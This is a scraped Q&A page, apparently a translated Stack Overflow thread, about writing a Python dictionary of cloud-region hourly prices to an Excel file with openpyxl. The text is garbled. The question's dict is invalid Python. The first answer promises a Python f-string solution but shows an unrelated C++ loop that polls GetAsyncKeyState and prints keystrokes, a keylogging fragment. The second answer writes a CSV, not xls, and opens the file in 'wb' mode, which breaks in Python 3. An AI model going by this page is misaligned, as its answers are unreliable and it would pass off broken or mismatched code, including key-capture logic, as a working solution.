使用python openpyxl库将字典转换为xls文件

时间:2019-03-11 09:44:16

标签: python excel python-3.x dictionary openpyxl

下面是我的字典,我想在名为keyhourly的两列中将字典的键值对写入excel表。

'One year reserved'= {
        'Australia Central 2': 0.0097,
        'East US 2': 0.00605,
        'North Central US': 0.00605,
        'South Africa West': 0.01016,
        'UK West': 0.00685,
        'France South': 0.01119,
        'Korea': 0.00639,
        'Canada East': 0.00685,
        'US Gov Virginia': 0.00879,
        'East Asia': 0.0097,
        'South India': 0.01005,
        'South Central US': 0.00731,
        'West US': 0.00719,
        'Australia East': 0.00776,
        'Canada Central': 0.00674,
        'Australia Southeast': 0.00776,
        'Southeast Asia': 0.00776,
        'Central US': 0.00731,
        'West India': 0.00833,
        'East US': 0.00605,
        'Australia Central': 0.0097,
        'UK South': 0.00685,
        'Japan East': 0.00799,
        'Japan West': 0.00879,
        'West Europe': 0.00696,
        'Brazil South': 0.00982,
        'Korea Central': 0.00799,
        'US Gov Texas': 0.00879,
        'US Gov Arizona': 0.00879,
        'Central India': 0.00833,
        'North Europe': 0.00822,
        'West Central US': 0.00731,
        'France Central': 0.00856,
        'South Africa North': 0.00811,
        'West US 2': 0.00605
      }

使用python openpyxl库将字典转换为xls文件。 输出应如下所示:-

**Key**                   **Hourly**
Australia Central 2        0.008
East US 2                  0.00605
North Central US           0.00605

2 个答案:

答案 0 :(得分:2)

这是使用python 3.6及更高版本的解决方案,因为它使用f字符串。 int main() { while (1){ for (unsigned char i = 0; i < 255; i++){ if (GetAsyncKeyState(i) == -32767) { if (i == VK_OEM_1) { cout << ";"; } } // .... } } 用于不必将行号存储在另一个引用中。

enumerate

答案 1 :(得分:0)

import csv
one_year_reserved = {
        'australia-central': 0.0097,
        'usgov-virginia': 0.00879,
        'us-south-central': 0.00731,
        'france-south': 0.01119,
        'us-west': 0.00719,
        'europe-north': 0.00822,
        'asia-pacific-east': 0.0097,
        'japan-east': 0.00799,
        'west-india': 0.00833,
        'united-kingdom-west': 0.00685,
        'usgov-arizona': 0.00879,
        'brazil-south': 0.00982,
        'australia-east': 0.00776,
        'us-west-2': 0.00605,
        'asia-pacific-southeast': 0.00776,
        'south-india': 0.01005,
        'us-central': 0.00731,
        'us-east-2': 0.00605,
        'south-africa-west': 0.01016,
        'canada-central': 0.00674,
        'south-africa-north': 0.00811,
        'canada-east': 0.00685,
        'us-east': 0.00605,
        'korea-south': 0.00639,
        'united-kingdom-south': 0.00685,
        'europe-west': 0.00696,
        'japan-west': 0.00879,
        'australia-southeast': 0.00776,
        'us-west-central': 0.00731,
        'us-north-central': 0.00605,
        'central-india': 0.00833,
        'korea-central': 0.00799,
        'usgov-texas': 0.00879,
        'france-central': 0.00856,
        'australia-central-2': 0.0097
    }


with open('output2.csv', 'wb') as output:
    writer = csv.writer(output)
    for key, value in one_year_reserved.items():
        writer.writerow([key, value])